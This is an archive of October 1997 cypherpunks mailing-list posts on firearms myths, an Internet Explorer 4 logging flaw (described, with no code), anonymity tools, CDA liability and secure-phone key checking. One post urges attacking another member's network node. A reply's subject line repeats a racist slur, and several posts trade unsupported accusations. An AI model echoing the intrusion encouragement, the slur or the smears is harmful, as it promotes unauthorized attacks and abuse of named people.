Message-ID: <199710021536.LAA19561@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

An entity claiming to be Brian B. Riley wrote:

: 
:  ... nothing personal, but why is it people keep deluding themselves
: with the idea that they can shoot to wound. You cannot know what a

Because that's what all the cops on TV do.  Most people see non-lethal
leg shots on TV all the time, so they assume that it's probable.  Even
worse was "The A-Team" where hundreds of rounds were fired, but no one
ever got hurt.  It was intended to reduce the amount of violence on TV,
but (in my opinion) only made gunplay seem like a safe recreational
activity.

Most of the people who talk about non-lethal wounding have very little
experience with firearms.  A few years ago, I was in school in a small
PA town.  The local cops shot and killed a kid who rushed at them with a
knife.  Most of the people I knew couldn't understand why the cop (who
was in no way a gung-ho type, but competent and stable) didn't "just shoot
him in the leg".  I would ask them if they knew what shooting a moving
target, in an uncertain situation, in the middle of the night was like.
Most of them had never even held a gun, but they had seen the cop show
last night and KNEW it was possible.

Doc

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDO/esHFI4kt/DQOEQKZIACglKhTcPb4lTLI48qwL+sCpeeFDB4AoPdh
lbgiVT8iz4AWvTNJfXZT61MC
=JuBW
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 3 Oct 1997 03:44:25 +0800
To: risks@csl.sri.com
Subject: Possible Security Hole in Internet Explorer 4.0
Message-ID: <v03102804b0599ac5ba6e@[17.219.103.39]>
MIME-Version: 1.0
Content-Type: text/plain



>From a message in MacOSRumors <http://rumors.netexpress.net/> (I have
not independently verified this)

--- Begin quote ---

Internet Explorer 4.0 ships with major security hole....

With the Microsoft Internet Explorer 4.0 for Windows release only hours
old, users have already discovered a major security hole that smacks
painfully of Big Brother:

Most folks will remember the Netscape java bug that allowed you to snoop on
what people where visiting. Well IE4.0 goes a bit further than this -
Logging of your actions, even when you would otherwise be shielded by
proxies is BUILT-IN.

The channel definition format (.CDF)
http://www.microsoft.com/standards/cdf-f.htm
includes a LOGTARGET feature that allows a web site provider to make your
browser deliver logs of your usage via an http post or put. Even hits from
cache are logged. This is all not so good and getting worse. Not only is
the information posted material, you wouldn't want to give to a provider,
(considering) "http post/put" is normally spoofable anyway.

Unanswered question for next time - or for folks with more time than me to
follow up Can you put other sites in your channel definition and get logs
of when they read your competitor's site (with this system)?

Definitely not confidence-inspiring. It appears the Mac version is affected
by this same problem, as well...and neither platform has any means of
disabling this "feature" at present.

---
[Internet Explorer 4.0 has not yet been released for the Macintosh platform.]

Martin Minow minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 3 Oct 1997 01:33:42 +0800
To: cypherpunks@cyberpass.net
Subject: new release of Crowds
Message-ID: <v0311075ab05978fb0222@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: akalice.research.att.com: majordomo set sender to
owner-crowds-talk@research.att.com using -f
Date: Thu, 2 Oct 1997 10:28:06 -0400 (EDT)
From: Mike Reiter <reiter@research.att.com>
To: crowds-talk@research.att.com
Subject: new release of Crowds
Sender: owner-crowds-talk@research.att.com
Precedence: bulk


Crowds 1.0.3 is now available.  If you already agreed to our license
on our web page, there's no need to do it again; just send email to

crowds-support@research.att.com

from the previous email address that you gave us, and we'll send 1.0.3
to you.

The main change in 1.0.3 is a configuration file that eliminates the
need for command-line arguments to anon.pl, and that also enables us
to ship distributions ready to join our crowd (i.e., the registration
step is eliminated).  Hopefully this will make Crowds easier to use.

- Mike

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 3 Oct 1997 03:34:55 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Request for illegal electronic surveillance examples and cases
In-Reply-To: <v03102800b0598ddcabfc@[207.167.93.63]>
Message-ID: <v03102802b059a1f564ac@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:33 AM -0700 10/2/97, Declan McCullagh wrote:
>Thanks, all, for the suggestions. Unfortunately my time is limited: my
>deadline is tonight. I'm working on a roundup of pre-reported
>cases, not reporting out new ones. (at least for this project)

Meaning nothing against Declan personally, this "my deadline is tonight" is
one of the reasons I almost never read news magazines anymore.

(I stupidly bought a copy of something "Time" calls "Time Digital," as it
seemed to have some of my acquaintances in it. I should've spotted the jive
by the title on the cover, "Our Exclusive Ranking of the Cyber Elite." Lots
of one-line quoting of pundits, shots of the overexposed geekbabe Pohlese,
and fatuous nonsense about what it means to be rich in Silicon Valley. I
wouldn't have believed it could be possible,  but "Time Digital" is far,
far worse than "Wired." Here's to hoping it dies a merciful death in the
next few months.)

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 3 Oct 1997 03:46:10 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Request for illegal electronic surveillance examples and cases
In-Reply-To: <v03102802b059a1f564ac@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.971002122025.24936K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Heh. I've never actually published anything in Time Digital. The one piece
I worked on for them was a full-page interview with Crypto-czar David
Aaron that was supposed to happen when he was in town in January. 

But he blew me and the photographer off and left town without being
interviewed.

I learned much later that he always hated the term "crypto-czar," which I
(and my co-authors) coined in an article we wrote a year ago breaking the
news on his appointment. Maybe that's why he ducked out.

-Declan


On Thu, 2 Oct 1997, Tim May wrote:

> At 11:33 AM -0700 10/2/97, Declan McCullagh wrote:
> >Thanks, all, for the suggestions. Unfortunately my time is limited: my
> >deadline is tonight. I'm working on a roundup of pre-reported
> >cases, not reporting out new ones. (at least for this project)
> 
> Meaning nothing against Declan personally, this "my deadline is tonight" is
> one of the reasons I almost never read news magazines anymore.
> 
> (I stupidly bought a copy of something "Time" calls "Time Digital," as it
> seemed to have some of my acquaintances in it. I should've spotted the jive
> by the title on the cover, "Our Exclusive Ranking of the Cyber Elite." Lots
> of one-line quoting of pundits, shots of the overexposed geekbabe Pohlese,
> and fatuous nonsense about what it means to be rich in Silicon Valley. I
> wouldn't have believed it could be possible,  but "Time Digital" is far,
> far worse than "Wired." Here's to hoping it dies a merciful death in the
> next few months.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Thu, 2 Oct 1997 20:04:08 +0800
To: cypherpunks@toad.com
Subject: counter-intuitive -- spam is good for you.  anonymous assholes are your friend
Message-ID: <199710021138.NAA23846@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




I just got through reading another hilarious post from 
Anonymous, and I realized that instead of filtering anonymous 
posts _out_ of my reading list like I used to, I've gradually 
started filtering them _in_.


I was thinking about why, and it illustrates a counter-
intuitive hypothesis that's been germinating in my head for a 
few days/months/years.  I'll call it "Zooko's Law of 
Evolutionary, Counter-Intuitive, Painful Serendipity":


     In an evolving ecosystem, things which appear to do harm 
     often result in benefit.



For example, if you consider having lots of healthy, happy 
bunnies to be a benefit, you might consider an influx of 
voracious wolves to be bad news.  But in many cases the 
selective pressure exerted by the wolf population will result 
in stronger bunny genes, healthier bunnies, more bunny babies 
and cetera.  In the case that the wolves leave again, or some 
other aspect of the environment changes (winter comes, etc.) 
then the population of passive grass-nibbling bunnies will turn
out to be disappointingly fragile compared to the population of
well-exercised wolf-fleeing bunnies.


Now you might complain that I am not playing fair by tossing in
these hypothetical environment changes late in the game.  If we
are evaluating _just_ the influx of wolves, and not some 
possible developments such as the wolves passing on, winter 
coming and so forth, then "obviously" the bunnies were better 
off without wolves.


But perhaps that's just the point.  In an evolving ecosystem, 
you _can't_ measure success without considering the likelihood
of continual change.


You might also object that I am sneaking in some unfounded 
Platonic concept of "bunny goodness" which only holds in 
certain contexts.  I.e. maybe the environment will change in a
way that penalizes bunnies with sinewy muscles and fast hearts
and rewards big fat stupid bunnies who only think of the next 
nibble.


Okay.  Maybe I am.  But my intuition tells me that this isn't 
some human-prejudice Platonic Ideal slipping in, but that in 
fact competition _does_ usually make the competitors better 
suited for all sorts of likely environmental changes.



Now why do the cpunks care?  Because I think the invasion of 
flaming, spamming Vulisses and "Graham-John Buellers" was good
for the cpunks list.  It drives away people with too little
intelligence, stomache-strength, technical know-how or egostic
attitude manage their own list input without depending on group
dynamics to manage it for them.


Okay, so like all "natural" selections, it takes out a few of 
the good guys too.  I still miss Perry Metzger's involvement, 
but if we had to lose Perry in order to lose a few dozen 
clueless loudmouths, then so be it.



Anyway, I consider it a Bad Thing that anonymous remailers are
so difficult to learn and use.  I would approve if point-n-
click remailers and remailer clients were widely distributed. 
But in another application of Zooko's Law of Evolutionary 
Serendipity, the fact that remailers are hard to use means that
the people who use them are smarter than average.


So maybe _that's_ why I've found it rewarding to select _for_ 
anonymous posts instead of against in recent times.  


And why I toy with the notion of fomenting the kind of infowar
"war games" that Phill Hallam-Baker hates.



Damn, I wish Daniel Dennett were reading this list.



Regards,

Zooko Journeyman

P.S.  Just to tie up one loose end-- you might notice that 
I counted the flame-invasion as a goodness because it drove off
"clueless loudmouths".  But what's the difference between a 
"Graham-John Buellers" and a normal crypto-groupie?  Is this a
double-standard?  Not at all.  The clueless loudmouths that 
I am glad to be rid of are an insidious sort, like William H. 
Geiger III, Paul Bradley, and rest-his-soul Jim Bell who are 
on-topic and sane enough to attract attention from the real 
thinkers, but who are prolific and mediocre enough to pull down
the over-all quality of discourse.  Apologies to the named 
people for hurting your feelings.  It's nothing personal, but 
I have to call 'em like I see 'em.  Cut down the volume of your
output to just the very best of your articles, and maybe I'll 
stop filtering you out.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 02:03:30 +0800
To: cypherpunks@cyberpass.net
Subject: CDA protects against liability
Message-ID: <066c1dbe1946e2f31eaf54f722772af6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Another case where the CDA protected against liability.  Remailer ops
should look into this.

http://www.wired.com/news/news/politics/story/7361.html:

A San Francisco judge has ruled that a lawsuit that
sought to force an Internet service provider to silence a Usenet
participant is barred by the federal Communications Decency Act. 

At issue was a claim by San Francisco Satanists Michael and Lilith
Aquino that San Diego-based ElectriCiti Inc. "breached its duty to the
[plaintiffs] and to other Internet users" by failing to take action against
an anonymous Usenet poster. 

The newsgroup participant allegedly harassed Michael Aquino, a
former US Army lieutenant colonel and the leader of the Temple of
Set, and his wife, Lilith. The claimed harassment took the form of
messages referring to the Aquinos' involvement in a ritual child-abuse
investigation in San Francisco in the 1980s. The couple was never
charged with any wrongdoing. 

Superior Court judge David Garcia accepted ElectriCiti's contention
that the lawsuit violated a little-discussed and still-in-force CDA
provision that exempts ISPs from liability for content transmitted on
their networks. The law states that "no provider or user of an
interactive computer service shall be treated as the publisher or speaker
of any information provided by another information content provider." 

The decision is one of three such cases nationwide that have been thrown
out because they attempted to hold ISPs responsible for subscribers'
speech, said ElectriCiti's attorney, Roger Myers. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 3 Oct 1997 05:12:41 +0800
To: admin@anon.efga.org
Subject: Re: CDA protects against liability
In-Reply-To: <Pine.LNX.3.95.971002164612.20891A-100000@server1.efga.org>
Message-ID: <Pine.GSO.3.95.971002134954.24936Q-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



There have been a bunch of other cases involving the deal-cutting portion
of the CDA. I believe the Drudge lawsuit complaint refers to them. If not,
AOL's response to the complaint certainly will.

-Declan


On Thu, 2 Oct 1997, Georgia Cracker Remailer Administrator wrote:

> On Thu, 2 Oct 1997, Declan McCullagh wrote:
> 
> > At 13:46 -0400 10/2/97, Anonymous wrote:
> > >Another case where the CDA protected against liability.  Remailer ops
> > >should look into this.
> > >
> > >http://www.wired.com/news/news/politics/story/7361.html:
> 
> This remailer-op, while not previously aware of the case, is well-aware of
> that provision of the CDA, but has not yet had the need or opportunity to
> use it as a legal defense. The reference is Public Law 104-104, Title V,
> Subtitle A, Sec. 502 as it amends (47 U.S.C. 223). The text of this law is
> available on-line at:
> 
>         http://thomas.loc.gov/cgi-bin/query/z?c104:S.652.ENR:
> 
> My interpretation of this is: Anonymous remailers are internet service
> providers.
> 
> --
> For information on this anonymous remailing system, send the subject
> "remailer-help" to <remailer@anon.efga.org> or visit our web pages at
> http://anon.efga.org/anon/. To contact the operator directly, send mail
> to <admin@anon.efga.org>. For general information and discussion about
> anonymous remailers, send a message with "subscribe" in the body to
> <remailer-politics-request@server1.efga.org>.
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 2 Oct 1997 20:53:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
Message-ID: <199710021247.OAA00552@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM writes:
> 
> Anonymous <anon@anon.efga.org> writes:

> > Dr.Dimitri Vulis KOTM writes:

> > Those who are newcomers to the list should know that Vulis has never
> > presented any evidence substantiating his vague claims that Stronghold 
> > is insecure or has backdoors (or whatever the claims were).  Vulis is
> > conducting a personal vendetta against one of C2Net's staff members and 
> > anyone who happened to be or become associated with him.

> Nor do I have to present any evidence.

You misordered this: it should say "Nor do I have any evidence to 
present."

>                                         I'm not the one selling StrongHold.

No, you're the one trying to torpedo its sales to get back at certain
individuals for some perceived slight.

> I have received several threatening communications from C2Net's lawyers, 
> which were discussed at length on this list.  To avoid unpleasant disputes
> I agreed not to disseminate my opinions about StrongHold.

Amazingly, C2Net doesn't like to see its product publicly slandered 
by reptiles like Vulis.  If Vulis' opinion were based on anything
other than personal ill will - ie, if he had ever actually downloaded
and examined Stronghold and found any problems with it - he would have
a leg to stand on.  As it is, his allegations are completely unfounded.

> Please keep this in mind if you consider buying it.

Keep in mind that anything Vulis says is in all likelihood a complete
lie.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Thu, 2 Oct 1997 20:51:17 +0800
To: cypherpunks@toad.com
Subject: Re: Kill All The NIGGERS  (Vote for Bob Dole))
In-Reply-To: <34337389.21D9@dev.null>
Message-ID: <199710021227.OAA24207@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



Racist Remailer <rr@dev.null> wrote on  2 Oct 97:

[manifest immaturity deleted]

Okay, on whose watch did this one get out?

(Yes, I did reply, and yes, I plead guilty for keeping this thread
going by having done so...so do you too have to reply?)

Mitch Halloran
Research Biochemist/C programmer/Sequioa's (dob 12-20-95) daddy
Duzen Laboratories Group
mitch@duzen.com.tr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 3 Oct 1997 03:49:57 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: CDA protects against liability
In-Reply-To: <066c1dbe1946e2f31eaf54f722772af6@anon.efga.org>
Message-ID: <v03007800b059a71da182@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Remember that the CDA "protects against liability" since the online
services cut a deal during the legislative process.

In other words AOL & co lobbied to have provisions inserted to get them off
the hook, even though individual users would still be screwed when the act
became law.

Another case of corporations selling out civil liberties.

-Declan


At 13:46 -0400 10/2/97, Anonymous wrote:
>Another case where the CDA protected against liability.  Remailer ops
>should look into this.
>
>http://www.wired.com/news/news/politics/story/7361.html:






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 3 Oct 1997 00:24:32 +0800
To: Zooko Journeyman <cypherpunks@cyberpass.net>
Subject: Re: counter-intuitive -- spam is good for you.  anonymous assholes are your friend
In-Reply-To: <199710021138.NAA23846@xs1.xs4all.nl>
Message-ID: <19971002.155729@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971002:1338 
    Zooko Journeyman <zooko@xs4all.nl> purported to expostulate:

+So maybe _that's_ why I've found it rewarding to select _for_ 
+anonymous posts instead of against in recent times.  

+And why I toy with the notion of fomenting the kind of infowar "war
+games" that Phill Hallam-Baker hates.

    yes, Zooko, go for it; Phill needs all the help he can get to
    shake out his obviously poorly maintained and porous node which
    he has claimed to be secure.

    if Phill is secure, what difference does it make if you assault
    him?  my guess is he is not secure, and probably has no clue how
    to get from there to secure.

 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDPFib04kQrCC2kFAQGeWQQAicvwLYBdP0ruI7Br+GYWzHS1s+Rje7Pg
KV0U7nX9ogpKWYZQIbt9nXJnCUn03e4uwqqUT/j7uj8V5RV/39djRRj5uvq/XVqk
vk80CdcVWahjM/tPWoFiM/B6T5qGjNIrYlSYkhoCmIViNczsXBzYAKUOkmS8NSco
P+XIKe5FuGo=
=JPnI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Fri, 3 Oct 1997 05:20:26 +0800
To: "James A. Donald" <jamesd@echeque.com>
Subject: Re: Secure phone
In-Reply-To: <199710021621.JAA26807@proxy4.ba.best.com>
Message-ID: <3.0.3.32.19971002155954.00bfc7e0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 09:21 AM 10/2/97 -0700, you wrote:
>At 11:13 PM 10/1/97 -0700, Lucky Green wrote:
>> Bad idea. You don't want people to have to look up keys to use your device.
>> Some people may not want to be listed in the phone book. Not to mention
>> that a PKI adds an additional and unnecessary layer of complexity. Just use
>> DH and have the parties each read half of a hash of the public
>> exponentials. No keys to store, no keys to remember, no keys to compromise.
>
>Trouble is this exposes the system to the man-in-the-middle attack.  Perhaps
>you could take advantage of the real time nature of the system to prevent
>man in the middle, by constructing a protocol such that man in the middle
>will invariably time out during the connection setup, or produce an
>audible lag problem in speech.

The MITM attack is thwarted by Lucky's note:
>> DH and have the parties each read half of a hash of the public
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> exponentials. No keys to store, no keys to remember, no keys to compromise.
   ^^^^^^^^^^^^^

Each party reads off a series of digits displayed on their screen.  Out
loud.  To each other.  Over the secure phone.

The MITM attacker can't duplicate the hash on both ends, because a hash of
the public keys used to make the connection are different between the
MITM's public key and the real public keys.

Here's a secure conversation (assume for the moment that the addition below
represents a strong hash):

Alice <-------------------------------------> Bob
PK=1234                                       PK=5678
1234+5678=6912                                5678+1234=6912
Alice reads 69 over the phone, and Bob reads 12 back to her.
Alice and Bob proceed to have a private conversation.

Now, since Mallory has to create a PK, he cannot just duplicate
Alice's 1234, because he'd also need the private key to decrypt the
conversation.  Likewise, he cannot duplicate Bob's 5678.  He has to
generate his own PKs in an attempt to fool Bob & Alice.

Alice <-----> Mallory <-> Mallory <---------> Bob
PK=1234       PK=1111     PK=2222             PK=5678
1234+1111=2345                                5678+2222=7900
Alice reads "23" over the phone, and Bob reads "00" back.
Since Alice's hash function said she should hear "45" back from
Bob, and Bob's screen said he should have heard "79" from Alice,
Alice and Bob decide to talk about the weather, and how pretty 
the trees are in certain cities.

Mallory could try to thwart this by impersonating Bob's voice to
Alice, saying "45", and Alice's voice to Bob, saying "79"
(Mallory does, of course, know these numbers), but if Bob & Alice
know each other, this probably won't work too well.  Mallory would
have to be able to cut into the conversation real-time, undetected.

Now, of course, Mallory could hire Anna & Barry to pull the whole
impersonation thing off, so that for the entire conversation Alice
talks to Barry and Anna talks to Bob, each thinking that they're
really talking to the other, but that's also fraught with risk.
I'm sure they could pull it off on TV, though  :-)

So, it'd go full circle back to pass phrases again.
"I hear the cherry trees are lovely in Washington D.C."
"I wouldn't know, I've never visited Washington in the spring."
"I agree, the weather is usually too wet."

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 3 Oct 1997 10:57:58 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
In-Reply-To: <Pine.BSF.3.96.971002204421.3283B-100000@pakastelohi.cypherpunks.to>
Message-ID: <RqRyDe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@cypherpunks.to> writes:

> 
> On Thu, 2 Oct 1997, Anonymous wrote:
> 
> > 
> > C2Net was wrong to censor the cypherpunks list in the guise of moderation.
> > It was wrong to send threatening letters to people who claimed its
> > products were weak.  The whole moderation/censorship experiment was a
> > terrible mistake.  The actions taken by C2Net were completely unjustified.
> 
> Where do people get these bizarre ideas? C2 didn't censor the list. A guy
> who happened to work for C2 dropped some messages from one list. The
> messages still went out on the unfiltered list. Had he worked for Mc
> Donald's or the the NYC Sanitiation Department, would you blame them for
> this as well? 

Lucky is lying: the censored articles were also filtered from the list which
was billed as being unfiltered.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 3 Oct 1997 10:54:10 +0800
To: cypherpunks@toad.com
Subject: Re: Request for illegal electronic surveillance examples and cases
In-Reply-To: <Pine.GSO.3.95.971002122025.24936K-100000@well.com>
Message-ID: <2TRyDe3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

> 
> Heh. I've never actually published anything in Time Digital. The one piece
> I worked on for them was a full-page interview with Crypto-czar David
> Aaron that was supposed to happen when he was in town in January. 
> 
> But he blew me and the photographer off and left town without being
> interviewed.

Mabe he didn't want Declan to forge quotations from him, as Declan was shown
to do in his Netly news hatched jobs.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 3 Oct 1997 10:57:02 +0800
To: cypherpunks@toad.com
Subject: Re: CDA protects against liability
In-Reply-To: <v03007800b059a71da182@[168.161.105.141]>
Message-ID: <RwRyDe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

> 
> Remember that the CDA "protects against liability" since the online
> services cut a deal during the legislative process.
> 
> In other words AOL & co lobbied to have provisions inserted to get them off
> the hook, even though individual users would still be screwed when the act
> became law.
> 
> Another case of corporations selling out civil liberties.

Remind me how some crypto-peddlers endorse bills that would criminalize
domestic crypto use in exchange for their being able to export their
(weak) systems.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 3 Oct 1997 01:06:48 +0800
To: Tim May <cypherpunks@cyberpass.net>
Subject: Re: Mr. Policeman is Your Friend
In-Reply-To: <v03102805b0588cff4305@[207.167.93.63]>
Message-ID: <19971002.164428@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971001:1644 
    Tim May <tcmay@got.net> purported to expostulate:

    [snip antecedent] 

+Let's not forget that cops are often the bad guys.

    [read Tim's excellent analysis and list in original]

    the thin blue line: just whose side are the police on?

    "the police are the lowest element of our society"
        (either Cato or Marcellus at the time of Julius Caesar)

    the cop is often a thug with a clean enough record to join the force
    and continue his trade.

    if you want to break heads, join the police; if you want to
    destroy buildings, join the fire department.

    these [wo]men may be public servants, but as Tim points out, just
    who is the master. In the US, "We the people" should be the masters,     
    but are we?  obviously not.

    read my DejaVu - Cypherpunks as Philosopher Kings. yes, it is     
    inflammatory, but the cards are on the table. we're being set
    up to have less rights that are available under the UN declaration
    which has the same right of assembly and protest --as long as it is
    not against the security of the state.

    if guns are outlawed, only outlaws will have guns. obvious, 
    particularly in America; but think of another implication:

        if the government of the US no longer truly represents
        "We the people," is not the government an outlaw government?

            "if guns are outlawed, only outlaws will have guns" takes
            on a whole new meaning...

    and, remember, we are not fighting a war with guns; we are fighting a 
    war for the control of communication and information and that is one
    of the primary functions of cypherpunks: to ensure the freedom of 
    speech, including [specifically] encrypted speech.

 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 05:04:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <fda13afaefc412c05455375577795410@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Alex Le Heux wrote:
>On 2 Oct 1997 01:29:33 +0200, in list.cypherpunks you wrote:
>>Cynthia Brown wrote:
>>>On Wed, 1 Oct 1997, Alex Le Heux wrote:
>>>> This sucks.
>>>
>>>I agree wholeheartedly.
>>
>>>IMNSHO the best way to fight crime is not with bigger guns than the
>>>"bad guys", but with better social programs such as universal health
>>>care, and improved day care so single parents can show their kids
>>>what a productive lifestyle looks like.
>>
>>Of course you agree wholeheartedly, you are an exploiter.  It is
>>wrong.  You should be ashamed of yourself.
>
>Can you explain who exactly exploits who here?

How about our friend J.F. Avon?  He has the misfortune to share
citizenship with Ms. Brown.  Thus, while he may be minding his own
business, doing nobody any harm, and pursuing happiness, should he
decline to spend thousands of hours of his life working to pay money
into Ms. Brown's socialist schemes, armed men will come to his house,
put him in a cage, and leave him there for years.

That's not a very friendly way to treat a neighbor, is it?

In the United States, many thousands of people correctly recognize
this situation.  Many thousands of people are gun owners.  Many
thousands of people are not only gun owners, but combat veterans.  The
logical outcome would be great violence directed towards the
government.  Yet, this has not happened (recently ;-).

Why?  Certainly if the sums at stake were involved between
governments, there would be fodder for many wars.

The only conclusion that can be drawn is that civilians, even armed
civilians with combat experience, are so overwhelmingly peace loving
that they will bend very far backwards to avoid trouble, even if it
means thousands of hours of work.  Can the same be said of career
military or government people?

>PS. What's the point in posting anonymous when you have this sig?
>
>>Editor in Chief
>>Smile Magazine
>>http://www.neoism.org/squares/smile_index.html
>>http://www.neoism.org/squares/cantsin_10.html

Tools which are not used are not improved.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Georgia Cracker Remailer Administrator <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 05:07:24 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: CDA protects against liability
In-Reply-To: <v03007800b059a71da182@[168.161.105.141]>
Message-ID: <Pine.LNX.3.95.971002164612.20891A-100000@server1.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 2 Oct 1997, Declan McCullagh wrote:

> At 13:46 -0400 10/2/97, Anonymous wrote:
> >Another case where the CDA protected against liability.  Remailer ops
> >should look into this.
> >
> >http://www.wired.com/news/news/politics/story/7361.html:

This remailer-op, while not previously aware of the case, is well-aware of
that provision of the CDA, but has not yet had the need or opportunity to
use it as a legal defense. The reference is Public Law 104-104, Title V,
Subtitle A, Sec. 502 as it amends (47 U.S.C. 223). The text of this law is
available on-line at:

        http://thomas.loc.gov/cgi-bin/query/z?c104:S.652.ENR:

My interpretation of this is: Anonymous remailers are internet service
providers.

--
For information on this anonymous remailing system, send the subject
"remailer-help" to <remailer@anon.efga.org> or visit our web pages at
http://anon.efga.org/anon/. To contact the operator directly, send mail
